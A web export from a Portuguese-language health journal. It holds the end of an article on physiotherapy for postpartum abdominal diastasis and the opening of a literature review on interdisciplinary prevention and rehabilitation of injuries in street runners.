<p class="wp-block-paragraph">Os estudos analisados demonstram que a atuação fisioterapêutica no tratamento da diástase dos músculos retos abdominais (DMRA) apresenta resultados consistentes e clinicamente relevantes, sobretudo quando fundamentada em protocolos de cinesioterapia e exercícios de estabilidade profunda. Em especial, o trabalho de Michelowski, Simão e Melo (2014) evidencia que intervenções aplicadas ainda no puerpério imediato podem gerar reduções significativas da separação muscular. As autoras observaram melhora progressiva em mulheres com DMRA superior a 3 cm, reforçando que a precocidade do tratamento e a ativação consciente da musculatura abdominal profunda contribuem para a reorganização muscular e redução da pressão intra-abdominal. Esses achados dialogam com a literatura que aponta a importância de iniciar a reabilitação o quanto antes, desde que respeitadas as condições clínicas da puérpera.</p>



<p class="wp-block-paragraph">Corroborando com tais resultados, o ensaio clínico randomizado de Thabet e Alsheri (2019) demonstrou que programas específicos de estabilidade do core profundo — sobretudo com foco no músculo transverso do abdome — são significativamente mais eficazes do que exercícios convencionais no tratamento da DMRA em mulheres no pós-parto. O fortalecimento da musculatura estabilizadora profunda demonstrou promover melhor alinhamento lombo-pélvico, aumento do controle motor e diminuição mais expressiva da diástase. Comparando-se estes dados com aqueles do estudo brasileiro anterior, observa-se convergência metodológica e de resultados, apontando para a superioridade de protocolos estruturados de ativação do core, em detrimento de exercícios abdominais tradicionais.</p>



<p class="wp-block-paragraph">Por outro lado, a revisão bibliográfica de Urbano <em>et al</em>. (2019) reforça a eficácia de exercícios de fortalecimento, sobretudo aqueles direcionados ao transverso e ao reto abdominal de forma funcional. A análise de diferentes bases de dados entre 1999 e 2018 mostrou que a cinesioterapia bem orientada reduz a necessidade de intervenções cirúrgicas, confirmando que a fisioterapia representa uma terapêutica segura, eficaz e de baixo custo. A amplitude temporal e a diversidade metodológica incluídas na revisão fortalecem a evidência de que a reabilitação ativa permanece como primeira escolha no manejo da DMRA.</p>



<p class="wp-block-paragraph">Adicionalmente, estudos epidemiológicos permitem compreender o perfil das mulheres mais suscetíveis ao desenvolvimento de DMRA. A pesquisa de Araujo e Leite (2012) revela associação da diástase com multiparidade, curtos intervalos entre gestações, idade entre 19 e 30 anos e prevalência da separação supraumbilical. Esses achados justificam a importância da triagem fisioterapêutica precoce em maternidades e reforçam que fatores obstétricos influenciam diretamente a integridade da parede abdominal. Quando comparado a estudos de intervenção, percebe-se que identificar adequadamente o público de maior risco permite direcionar precocemente protocolos terapêuticos, otimizando os resultados.</p>



<p class="wp-block-paragraph">De maneira complementar, o ensaio clínico de Pampolim <em>et al.</em> (2021) apresenta evidências robustas de que intervenções fisioterapêuticas aplicadas poucas horas após o parto podem reduzir significativamente a DMRA. A redução estatisticamente significativa na região supraumbilical (p &lt; 0,001) no grupo tratado reforça que a fisioterapia imediata não apenas é segura, mas também eficiente para prevenir a progressão da diástase. Esse dado contribui para o avanço das práticas hospitalares, sugerindo que a inclusão de protocolos de ativação do core e orientação postural ainda na maternidade pode transformar a abordagem do puerpério.</p>



<p class="wp-block-paragraph">Em síntese, ao comparar todos os estudos, observa-se que existe consenso sobre a eficácia da fisioterapia, especialmente com ativação de transverso e exercícios de estabilidade profunda;a importância da intervenção precoce, seja imediatamente após o parto ou nas primeiras semanas do puerpério, o papel da avaliação precisa, utilizando paquímetros ou testes padronizados, a necessidade de programas de exercícios individualizados, considerando fatores obstétricos e características da paciente (Pampolim <em>et al. </em>2021; Urbano <em>et al. </em>2019; Thabet, Ali A.; Alsheri, Mansour A. 2019; Michelowski, Simão,Melo. 2014)</p>



<p class="wp-block-paragraph">Assim, o conjunto das evidências reafirma que a abordagem fisioterapêutica, quando aplicada de forma estruturada e embasada, desempenha papel essencial tanto na prevenção quanto na reabilitação da diástase abdominal, configurando-se como tratamento de primeira linha em mulheres no pós-parto (Lima, Feitosa, Martinelli. 2018)</p>



<p class="wp-block-paragraph"><strong>9. CONSIDERAÇÕES FINAIS</strong>&nbsp;</p>



<p class="wp-block-paragraph">O presente estudo em síntese foi abordado que o tratamento fisioterapêutico em mulheres com diástase abdominal no pós-parto, destacando seus principais aspectos clínicos, diagnósticos e terapêuticos. Os pontos-chave evidenciam que a diástase é uma condição frequente entre puérperas, podendo afetar tanto a funcionalidade quanto a qualidade de vida, especialmente devido a alterações estéticas, posturais e ao impacto emocional. O objetivo geral desta pesquisa foi demonstrar a importância do tratamento fisioterapêutico na redução da diástase abdominal no pós-parto, ressaltando sua eficácia e papel essencial no processo de recuperação</p>



<p class="wp-block-paragraph">.Os resultados encontrados na literatura analisada mostram que a fisioterapia dispõe de abordagens seguras e eficazes, como cinesioterapia, exercícios de ativação do core profundo, eletroterapia e técnicas de estabilização abdominal. Estudos apontam que essas intervenções contribuem significativamente para a aproximação dos músculos retos abdominais, melhora da força muscular, diminuição de sintomas dolorosos e recuperação funcional. Além disso, verificou-se que o início precoce do tratamento, aliado ao acompanhamento contínuo, potencializa os resultados e favorece uma recuperação mais completa.&nbsp;</p>



<p class="wp-block-paragraph">Também foi possível observar que a atuação fisioterapêutica vai além do tratamento físico, considerando aspectos emocionais, sociais e a individualidade de cada mulher. A intervenção adequada melhora não apenas as condições biomecânicas, mas também a autoestima, a percepção corporal e o bem-estar geral da puérpera. Dessa forma, os achados reforçam que a fisioterapia é fundamental tanto na prevenção quanto no tratamento da diástase abdominal, contribuindo para uma reabilitação segura, funcional e humanizada.</p>



<p class="wp-block-paragraph">Ao final, em poucas palavras , foi possível observar que o tratamento fisioterapêutico é indispensável para reduzir a diástase abdominal no pós-parto, oferecendo benefícios importantes para a saúde física e emocional das mulheres. As evidências demonstram que intervenções bem orientadas são eficazes e evitam, em muitos casos, procedimentos invasivos. Como perspectivas futuras, destaca-se a necessidade de ampliar pesquisas com protocolos padronizados, investir em tecnologias não invasivas e fortalecer estratégias preventivas durante a gestação e o puerpério. Assim, reforça-se a importância da fisioterapia como área essencial no cuidado integral à mulher.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">Alves, Renata Cristina; <em>et al</em>. Atuação de uma equipe multiprofissional na assistência pré-natal e puerperal: um relato de experiência. <strong>Revista Saúde.com</strong>, Paraná. p. 1281-1283, 2018. Disponível em: <a href="https://periodicos2.uesb.br/index.php/rsc/article/view/4337/3476">https://periodicos2.uesb.br/index.php/rsc/article/view/4337/3476</a>&nbsp; Acesso em: 20 de Agosto de 2024.</p>



<p class="wp-block-paragraph">Baracho, Elza. <strong>Fisioterapia Aplicada à Saúde da Mulher</strong>. Rio de Janeiro: Grupo GEN, 2018. E-book. ISBN 9788527733281. Disponível em: <a href="https://integrada.minhabiblioteca.com.br/#/books/9788527733281/">https://integrada.minhabiblioteca.com.br/#/books/9788527733281/</a>.&nbsp; Acesso em: 27 ago. 2024.</p>



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<p class="wp-block-paragraph">Benjamin, D. R., Frawley, H. C., Shields, N., &amp; van de Water, A. T. (2019). Effects of exercise on diastasis of the rectus abdominis muscle in the antenatal and postnatal periods: a systematic review. <strong>Physiotherapy</strong>, 105(1), 24–34. Disponível em: <a href="https://doi.org/10.1016/j.physio.2018.07.002">https://doi.org/10.1016/j.physio.2018.07.002</a> Acesso em: 01 out 2025</p>



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<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Diretrizes para o cuidado fisioterapêutico no pós-parto: saúde da mulher. Brasília, 2021. Disponível em: &lt; <a href="https://www.gov.br/saude">https://www.gov.br/saude</a>&gt; . Acesso em: 27 nov. 2025.</p>



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<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>A ATUAÇÃO INTEGRADA DO FISIOTERAPEUTA E DO PROFISSIONAL DE EDUCAÇÃO FÍSICA NA PREVENÇÃO E REABILITAÇÃO DE LESÕES EM CORREDORES DE RUA</title>
		<link>https://revistaft.com.br/a-atuacao-integrada-do-fisioterapeuta-e-do-profissional-de-educacao-fisica-na-prevencao-e-reabilitacao-de-lesoes-em-corredores-de-rua/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Sun, 30 Nov 2025 16:40:12 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=256731</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202511301411 Alisson Patrick da Costa AndréMaria Cecília da Silva LimaOrientador: Prof. Anderson Felipe Bernardo da SilvaCoorientador: Prof. Nelbert Cavalcanti de Almeida RESUMO&#160; Introdução: A corrida de rua tem se consolidado como atividade física popular, promovendo benefícios cardiovasculares e psicossociais, mas apresenta alta incidência de lesões musculoesqueléticas que comprometem saúde e continuidade da prática. [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511301411</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Alisson Patrick da Costa André<br>Maria Cecília da Silva Lima<br>Orientador: Prof. Anderson Felipe Bernardo da Silva<br>Coorientador: Prof. Nelbert Cavalcanti de Almeida</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Introdução:</strong> A corrida de rua tem se consolidado como atividade física popular, promovendo benefícios cardiovasculares e psicossociais, mas apresenta alta incidência de lesões musculoesqueléticas que comprometem saúde e continuidade da prática. <strong>Objetivo:</strong> Analisar a atuação integrada do fisioterapeuta e do profissional de educação física na prevenção e reabilitação de lesões em corredores de rua, identificando estratégias e benefícios dessa abordagem multidisciplinar. <strong>Método:</strong> Revisão bibliográfica descritiva e qualitativa, com busca de publicações entre 2020 e 2024 nas bases SciELO, PubMed e LILACS, utilizando descritores do DeCS. Foram incluídos 14 estudos originais e revisões sistemáticas que abordaram fatores de risco, monitoramento da carga, intervenções terapêuticas e estratégias de prescrição de treino. <strong>Resultados:</strong> As lesões mais frequentes foram tendinopatias, fasciíte plantar, síndrome da banda iliotibial e fraturas por estresse, associadas a sobrecarga de treino, déficits de força, inadequações nutricionais e alterações biomecânicas. Evidenciou-se que o monitoramento refinado da carga, a periodização adequada e a inclusão sistemática de treinamento de força e funcional reduzem a incidência e a recidiva de lesões. A atuação integrada mostrou eficácia ao combinar avaliação funcional, intervenções terapêuticas e progressão controlada de treino, favorecendo retorno seguro ao esporte e ganhos mensuráveis de desempenho. <strong>Conclusão:</strong> A atuação multidisciplinar entre fisioterapia e educação física, sustentada por monitoramento contínuo e critérios objetivos de progressão, é essencial para prevenir lesões, otimizar a reabilitação e melhorar o desempenho dos corredores de rua. Recomenda-se o desenvolvimento de protocolos integrados e estudos longitudinais que validem indicadores padronizados aplicáveis à prática clínica e esportiva.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> corrida de rua; lesões musculoesqueléticas; fisioterapia esportiva; treinamento funcional; reabilitação.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Introduction:</strong> Road running has become a popular physical activity, offering cardiovascular and psychosocial benefits, but it shows a high incidence of musculoskeletal injuries that compromise health and training continuity. <strong>Objective:</strong> To analyze the integrated role of physiotherapists and physical education professionals in the prevention and rehabilitation of injuries in road runners, identifying strategies and benefits of this multidisciplinary approach. <strong>Method:</strong> A descriptive and qualitative literature review was conducted, including publications between 2020 and 2024 from SciELO, PubMed, and LILACS databases, using DeCS descriptors. Fourteen original studies and systematic reviews were included, focusing on risk factors, load monitoring, therapeutic interventions, and training prescription strategies. <strong>Results:</strong> The most frequent injuries were tendinopathies, plantar fasciitis, iliotibial band syndrome, and stress fractures, associated with training overload, strength deficits, nutritional inadequacies, and biomechanical alterations. Refined load monitoring, adequate periodization, and systematic inclusion of strength and functional training were shown to reduce incidence and recurrence of injuries. Integrated practice combining functional assessment, therapeutic interventions, and controlled training progression proved effective, promoting safe return to sport and measurable performance gains. <strong>Conclusion:</strong> Multidisciplinary action between physiotherapy and physical education, supported by continuous monitoring and objective progression criteria, is essential to prevent injuries, optimize rehabilitation, and improve road running performance. The implementation of integrated protocols and longitudinal studies validating standardized indicators is recommended for clinical and sports practice.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> road running; musculoskeletal injuries; sports physiotherapy; functional training; rehabilitation.</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A corrida de rua consolidou-se nas últimas décadas como uma das modalidades de maior adesão populacional, por aliar acessibilidade, benefícios cardiovasculares e possibilidades de socialização e lazer; esse crescimento, contudo, trouxe maior atenção para a morbidade musculoesquelética associada à prática, elevando a demanda por estudos que investiguem estratégias de prevenção e modelos de quantificação de carga mais sensíveis que a simples quilometragem semanal. (Vieira-Souza et al., 2024; Paquette et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">As lesões mais frequentemente descritas em corredores de rua incluem tendinopatias, fasciíte plantar, síndrome da banda iliotibial e fraturas por estresse, condições que resultam da interação entre sobrecarga de treino, alterações biomecânicas e desequilíbrios musculares; estudos epidemiológicos nacionais e regionais também apontaram variações na prevalência em função do sexo, do nível de experiência e do tipo de acompanhamento profissional, o que reforça a necessidade de abordagens contextualizadas e individualizadas. (Da Silva Hexsel et al., 2024; Raposo et al., 2021; Da Silva, 2022).&nbsp;</p>



<p class="wp-block-paragraph">A gestão da carga e a adequada periodização do treinamento passam a ser, nesse cenário, elementos centrais para a prevenção de lesões. Modelos que considerem volume, intensidade, frequência e estratégias de recuperação — incluindo a utilização criteriosa de sessões de alta intensidade — demonstraram que picos abruptos de carga elevam o risco lesional, enquanto abordagens que adotam métricas integradas de carga (internas e externas) oferecem parâmetros mais robustos para prescrição e monitoramento. (Impellizzeri et al., 2020; Paquette et al., 2020; Soares; De Souza; Da Silva Lage, 2021).&nbsp;</p>



<p class="wp-block-paragraph">No plano intervencionista, as competências do fisioterapeuta e do profissional de educação física são complementares e interdependentes: o fisioterapeuta conduzirá avaliações funcionais e intervenções terapêuticas direcionadas à correção de disfunções biomecânicas, enquanto o educador físico estruturará a periodização, a progressão de cargas e os treinos específicos; a integração de treinamento de força, treinamento funcional resistido e estratégias de reeducação motora tem apresentado benefícios tanto na prevenção quanto no retorno seguro à atividade. (Arruda et al., 2022; Sant’Ana; Bara-Filho; Vianna, 2021; Eleotério et al., 2022; Andrés, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Apesar dos benefícios relatados, a literatura revelou lacunas práticas importantes, como fragmentação do atendimento, ausência de protocolos padronizados, limitações no monitoramento de carga e desigualdade no acesso a serviços especializados; fatores contextuais nacionais — incluindo perfil nutricional e composição corporal — também podem modular a resposta às intervenções, exigindo estratégias multidisciplinares adaptadas ao contexto local. (Sampaio Antonio; Cunha Laux, 2022; Da Fonseca Everton et al., 2024; Vieira-Souza et al., 2024; Seferino; Leandra da Drosa, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Diante desse panorama, o presente estudo buscará analisar criticamente a atuação integrada entre fisioterapia e educação física na prevenção e reabilitação de lesões em corredores de rua, sintetizando evidências sobre fatores de risco, estratégias de intervenção e indicadores de sucesso que possam subsidiar protocolos interprofissionais aplicáveis ao contexto brasileiro. (Raposo et al., 2021; Da Silva Hexsel et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>OBJETIVOS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Objetivo Geral </strong>&nbsp;</p>



<p class="wp-block-paragraph">Analisar a atuação integrada do fisioterapeuta e do profissional de educação física na prevenção e reabilitação de lesões em corredores de rua, avaliando os benefícios dessa abordagem multidisciplinar para a saúde e o desempenho dos atletas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Objetivos Específicos&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Identificar as principais lesões musculoesqueléticas em corredores de rua e os fatores de risco associados.&nbsp;</li>



<li>Examinar o papel do fisioterapeuta e do profissional de educação física na prevenção e reabilitação dessas lesões, destacando suas principais estratégias de intervenção.&nbsp;</li>



<li>Avaliar os impactos da atuação integrada entre fisioterapeutas e educadores físicos na recuperação dos corredores lesionados e na melhora do desempenho esportivo.&nbsp;&nbsp;</li>
</ul>



<p class="wp-block-paragraph"><strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">A presente pesquisa caracterizou-se como uma revisão interativa. Foi realizada uma busca estruturada da literatura nas bases SciELO, PubMed e LILACS, utilizando descritores compatíveis com o DeCS, tais como “corrida de rua”, “lesões musculoesqueléticas”, “fisioterapia esportiva”, “reabilitação”, “training load” e “periodization”. O recorte temporal contemplou publicações entre 2019 e 2024, em português, inglês e espanhol, disponíveis na íntegra. Além disso, foram priorizadas as 20 referências pré-selecionadas pelo pesquisador, das quais <strong>1</strong>4 atenderam integralmente aos critérios de inclusão e foram analisadas em profundidade.&nbsp;</p>



<p class="wp-block-paragraph">Embora o foco principal desta revisão tenha sido a inclusão de estudos originais — como pesquisas observacionais, de coorte e experimentais — optou-se também pela incorporação de revisões sistemáticas que abordassem diretamente a prevenção, a reabilitação, o monitoramento da carga de treinamento e a atuação profissional em corredores de rua. Essa decisão justifica-se pelo fato de que revisões sistemáticas sintetizam um conjunto mais amplo de evidências, permitindo analisar tendências gerais, comparar diferentes intervenções e identificar lacunas ainda existentes na literatura.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além disso, em áreas de prática clínica e esportiva, revisões de qualidade fornecem recomendações aplicáveis tanto à fisioterapia quanto à educação física, contribuindo para a construção de estratégias preventivas e reabilitativas mais consistentes. Assim, sua inclusão reforça a robustez metodológica do presente trabalho, ao mesmo tempo em que amplia a aplicabilidade dos resultados à realidade de corredores de rua, sem comprometer a validade da análise crítica desenvolvida.&nbsp;</p>



<p class="wp-block-paragraph">Na etapa de identificação, foram encontrados 480 registros distribuídos nas bases de dados (PubMed: 350; SciELO: 80; LILACS: 50). Após a exclusão de 5 duplicatas, restaram 475 registros para triagem inicial.&nbsp;</p>



<p class="wp-block-paragraph">Na fase de triagem, foram avaliados os títulos e resumos dos 475 registros, dos quais 440 foram excluídos por não apresentarem relação direta com a temática da pesquisa.&nbsp;</p>



<p class="wp-block-paragraph">Na etapa de elegibilidade, 35 artigos foram analisados em texto completo. Destes, 21 foram excluídos por não atenderem aos critérios metodológicos, 7 por não apresentarem população compatível e 4 por não se adequarem ao objetivo central do estudo.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, na etapa de inclusão, o corpus final foi constituído por 14 artigos que atenderam a todos os critérios e foram incorporados à análise. O processo completo de seleção está representado no Fluxograma PRISMA 2020 adaptado (Figura 1), que descreve as etapas de identificação, triagem, elegibilidade e inclusão.&nbsp;</p>



<p class="wp-block-paragraph">A extração e a organização das informações seguiram protocolo padronizado. Para cada estudo foram registrados: referência completa, objetivo, delineamento metodológico, população/amostra, intervenção adotada, principais resultados e limitações. Esses dados foram sintetizados em uma tabela comparativa (Tabela 1), com o intuito de facilitar a visualização dos achados e apoiar a análise crítica.&nbsp;</p>



<p class="wp-block-paragraph">A análise dos resultados foi conduzida de forma qualitativa e interpretativa, identificando padrões de prevalência de lesões, fatores de risco, estratégias de prevenção e protocolos de reabilitação. O cruzamento dos achados permitiu evidenciar pontos de convergência, divergências metodológicas e lacunas de conhecimento.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1:</strong> Fluxograma prisma com as etapas</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="483" height="576" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3192.png" alt="" class="wp-image-256741" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3192.png 483w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3192-252x300.png 252w" sizes="(max-width: 483px) 100vw, 483px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>RESULTADOS E DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Os resultados desta revisão integrativa foram organizados de forma a sintetizar as principais características metodológicas, intervenções adotadas e achados obtidos nos estudos selecionados. A análise permitiu identificar tendências relacionadas à prevalência de lesões musculoesqueléticas em corredores de rua, aos fatores de risco associados e às estratégias de prevenção e reabilitação propostas na literatura.&nbsp;</p>



<p class="has-text-align-left wp-block-paragraph">A Tabela 1 apresenta um panorama detalhado dos 14 estudos incluídos na revisão, destacando o objetivo de cada pesquisa, o delineamento metodológico utilizado, as intervenções aplicadas e os resultados mais relevantes. Esse recurso favorece a comparação entre os trabalhos e contribui para a interpretação crítica dos achados.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1 – </strong>Características dos estudos incluídos na revisão integrativa sobre prevenção e reabilitação de lesões em corredores de rua.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autor e ano</strong>&nbsp;</td><td><strong>Objetivo</strong>&nbsp;</td><td><strong>Desenho de estudo</strong>&nbsp;</td><td><strong>Intervenção</strong>&nbsp;</td><td><strong>Resultados</strong>&nbsp;</td></tr><tr><td><strong>Da Silva Hexsel et al. (2024)</strong>&nbsp;</td><td>Investigar a prevalência de fraturas por estresse e fatores associados em corredores de rua amadores.&nbsp;</td><td>Estudo observacional transversal com 480 corredores avaliados em questionários clínicos.&nbsp;</td><td>Foram aplicados questionários estruturados abordando histórico de treino, volume semanal, tipo de calçado e presença de sintomas musculoesqueléticos. A análise buscou correlacionar variáveis de carga de treino, perfil demográfico e fatores nutricionais com a ocorrência de fraturas por estresse.&nbsp;</td><td>Os achados indicaram prevalência de&nbsp;fraturas por estresse em 14% da amostra, com maior incidência em corredores que acumulavam volume semanal acima de 60 km e em mulheres. O estudo destacou ainda associação entre baixa densidade mineral óssea e risco&nbsp;aumentado, apontando necessidade de estratégias preventivas específicas.&nbsp;</td></tr><tr><td><strong>Da Silva (2022)</strong>&nbsp;</td><td>Analisar a prevalência de lesões musculoesqueléticas em corredores de rua&nbsp;da cidade de Aracaju/SE.&nbsp;</td><td>Estudo epidemiológico transversal com aplicação de questionários a 200 corredores de rua.&nbsp;</td><td>Foram coletadas informações sociodemográficas, hábitos de treino e histórico de lesões. A&nbsp;análise incluiu fatores como tempo de&nbsp;prática da corrida, quilometragem semanal e&nbsp;acompanhamento profissional.</td><td>A prevalência de lesões foi de 58%, com maior frequência de tendinopatias e fascite plantar. A&nbsp;ausência de acompanhamento profissional e o aumento rápido de carga de treino foram&nbsp;fatores significativamente associados ao surgimento de lesões.&nbsp;</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Dos Santos et al. (2022)</strong>&nbsp;</td><td>Descrever a ocorrência de lesões e sintomas em mulheres corredoras de rua.&nbsp;</td><td>Estudo observacional com 150 corredoras avaliadas por meio de questionários padronizados.&nbsp;</td><td>Foram analisados hábitos de treinamento, histórico de lesões e fatores hormonais relacionados ao ciclo menstrual. A coleta de dados buscou compreender a influência de características sexuais e fisiológicas sobre a incidência de lesões.&nbsp;</td><td>O estudo mostrou prevalência de 61% de lesões, sendo mais comuns as síndromes de sobrecarga como a tendinopatia patelar. A análise evidenciou que mulheres que não praticavam exercícios de fortalecimento tinham risco significativamente maior de lesionar-se.&nbsp;</td></tr><tr><td><strong>Raposo et al. (2021)</strong>&nbsp;</td><td>Analisar parâmetros de programas de treinamento e sua relação com lesões em corredores amadores.&nbsp;</td><td>Estudo de coorte retrospectivo com 120 corredores acompanhados por 12 meses.&nbsp;</td><td>A coleta de dados incluiu registros de planilhas de treino com informações sobre frequência, intensidade, volume semanal e recuperação. Foram analisadas as adaptações de carga ao longo do período.&nbsp;</td><td>A análise mostrou que programas sem progressão gradual aumentaram significativamente a incidência de lesões musculoesqueléticas, especialmente no&nbsp;joelho e tornozelo. O acompanhamento sistemático e individualizado reduziu a probabilidade de reincidência de lesões.&nbsp;</td></tr><tr><td><strong>Passos et al. (2022)</strong>&nbsp;</td><td>Avaliar os aspectos preventivos do treinamento de força em corredores de rua.&nbsp;</td><td>Estudo&nbsp;experimental com 40 corredores divididos em grupo controle e grupo intervenção.&nbsp;</td><td>O grupo intervenção realizou programa de fortalecimento muscular resistido durante 12 semanas, associado ao treino de corrida habitual. Foram incluídos exercícios multiarticulares e específicos para membros inferiores.&nbsp;</td><td>Os corredores que participaram do treinamento de força apresentaram redução significativa na incidência de lesões e&nbsp;melhora na biomecânica da corrida. O estudo demonstrou que a força muscular atua como fator protetor contra sobrecarga articular.&nbsp;</td></tr><tr><td><strong>Sant’Ana;&nbsp;</strong><strong>Bara-Filho;&nbsp;</strong><strong>Vianna&nbsp;</strong><strong>(2021)</strong>&nbsp;</td><td>Investigar o monitoramento da carga de treinamento e seus efeitos sobre risco de lesões.&nbsp;</td><td>Estudo&nbsp;longitudinal com 85 corredores monitorados por três meses.&nbsp;</td><td>Foram utilizados diários de treino e questionários de percepção subjetiva de esforço, associados&nbsp;a métricas objetivas de volume e intensidade.&nbsp;</td><td>A análise mostrou que corredores que não ajustaram a carga de treino conforme percepção de fadiga&nbsp;apresentaram risco maior de lesões por sobrecarga. O monitoramento sistemático contribuiu para a detecção precoce de risco e prevenção de lesões.&nbsp;</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Seferino;&nbsp;</strong><strong>Leandra da&nbsp;</strong><strong>Drosa&nbsp;</strong><strong>(2021)</strong>&nbsp;</td><td>Avaliar o perfil nutricional e composição corporal em relação à incidência de lesões.&nbsp;</td><td>Estudo transversal com 95 corredores amadores de ambos os sexos.&nbsp;</td><td>Foram coletados dados&nbsp;antropométricos, análise de composição corporal e questionários de frequência alimentar.&nbsp;</td><td>O estudo mostrou que corredores com índice de massa corporal elevado e inadequações nutricionais apresentaram maior risco de lesões musculoesqueléticas. O acompanhamento&nbsp;nutricional foi&nbsp;recomendado como&nbsp;parte das estratégias preventivas.&nbsp;</td></tr><tr><td><strong>Soares; De&nbsp;</strong><strong>Souza; Da&nbsp;</strong><strong>Silva Lage&nbsp;</strong><strong>(2021)</strong>&nbsp;</td><td>Revisar a literatura sobre os efeitos do treinamento intervalado de alta intensidade na ocorrência de lesões.&nbsp;</td><td>Revisão narrativa de artigos publicados entre 2010 e 2020.&nbsp;</td><td>Foi realizada busca em bases de dados internacionais, analisando evidências sobre a relação entre protocolos de HIIT e lesões em corredores.&nbsp;</td><td>A revisão identificou que protocolos de HIIT mal periodizados aumentam o risco de lesões musculoesqueléticas. No entanto, quando aplicados com progressão adequada e supervisão profissional, podem ser seguros e eficazes para melhorar o desempenho.&nbsp;</td></tr><tr><td><strong>Sampaio&nbsp;</strong><strong>Antonio;&nbsp;</strong><strong>Cunha&nbsp;</strong><strong>Laux (2022)</strong>&nbsp;</td><td>Investigar o perfil sociodemográfico e características de treinamento dos corredores de rua de Chapecó.&nbsp;</td><td>Estudo transversal com 210 corredores avaliados por meio de questionários.&nbsp;</td><td>A coleta incluiu informações sobre idade, sexo, frequência semanal de treinos,&nbsp;acompanhamento profissional e histórico de lesões.&nbsp;</td><td>O estudo revelou que corredores sem&nbsp;acompanhamento de profissionais apresentaram prevalência significativamente maior de lesões. Observou-se ainda que a experiência prévia com corrida reduziu o risco de sobrecarga musculoesquelética.&nbsp;</td></tr><tr><td><strong>Vieira-</strong><strong>Souza et al. (2024)</strong>&nbsp;</td><td>Analisar a produção científica nacional sobre treinamento esportivo de corredores de rua.&nbsp;</td><td>Revisão sistemática de artigos brasileiros publicados entre 2015 e 2023.&nbsp;</td><td>Foram mapeados&nbsp;periódicos, autores e temáticas abordadas, com ênfase em lesões e estratégias de treinamento.&nbsp;</td><td>O estudo apontou lacunas na padronização de protocolos preventivos e escassez de estudos clínicos longitudinais no Brasil. Reforçou a importância da integração entre fisioterapia e educação física para redução de lesões.&nbsp;</td></tr><tr><td><strong>Da Fonseca Everton et al. (2024)</strong>&nbsp;</td><td>Caracterizar o treinamento de praticantes de ultramaratona e suas repercussões na saúde musculoesquelética.&nbsp;</td><td>Estudo descritivo transversal com&nbsp;65 ultramaratonistas.&nbsp;</td><td>Aplicação de questionários sobre carga de treino, volume, intensidade e percepção de fadiga.&nbsp;</td><td>Foi observado que altos volumes de treino estiveram associados a maior prevalência de lesões musculoesqueléticas, incluindo tendinopatias e fraturas por estresse. O estudo sugere estratégias de monitoramento individualizado da carga.&nbsp;</td></tr><tr><td><strong>Paquette et al. (2020)</strong>&nbsp;</td><td>Apresentar métodos de quantificação de carga de treino em corredores para otimizar prevenção de lesões.&nbsp;</td><td>Artigo metodológico aplicado ao contexto de corredores de rua.&nbsp;</td><td>Discussão sobre métricas alternativas à distância semanal, como carga interna, frequência cardíaca e percepção de esforço.&nbsp;</td><td>O estudo destacou que a simples mensuração de quilometragem não é suficiente para estimar risco de lesão. Propôs o uso de métricas&nbsp;combinadas como&nbsp;estratégia mais eficaz de monitoramento e prevenção.&nbsp;</td></tr><tr><td><strong>Impellizzeri et al. (2020)</strong>&nbsp;</td><td>Revisar o papel da carga de treinamento na prevenção de lesões.&nbsp;</td><td>Revisão crítica de literatura.&nbsp;</td><td>Análise conceitual e prática sobre modelos de quantificação e controle de carga aplicados ao esporte.&nbsp;</td><td>O estudo concluiu que a carga de treino mal gerida é um dos principais fatores de risco para lesões em corredores. Ressaltou a importância de estratégias baseadas em evidências para ajuste da carga e prevenção.&nbsp;</td></tr></tbody></table></figure>



